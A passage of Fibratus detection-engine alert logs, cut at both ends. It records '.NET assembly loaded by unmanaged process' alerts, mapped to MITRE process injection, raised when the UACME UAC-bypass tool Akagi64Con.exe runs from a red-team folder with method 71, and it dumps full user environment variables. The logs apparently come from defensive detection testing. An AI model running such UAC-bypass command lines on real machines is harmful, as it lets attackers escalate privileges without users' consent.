Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:44+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7270203 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:05.62083 +0100 CET + Params: base_address➜ 7ff9e68b0000, checksum➜ 0, default_address➜ 7ff9e68b0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe, image_size➜ 864256, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 6601995826782797824, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:44+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7270231 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:05.6257498 +0100 CET + Params: base_address➜ 7ff9e6910000, checksum➜ 0, default_address➜ 7ff9e6910000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe, image_size➜ 495616, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 6601995826782797824, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:44+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\vbc\d9c1d8acb32bfce60ab18f23202042fc\vbc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7270231 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:05.6257498 +0100 CET + Params: base_address➜ 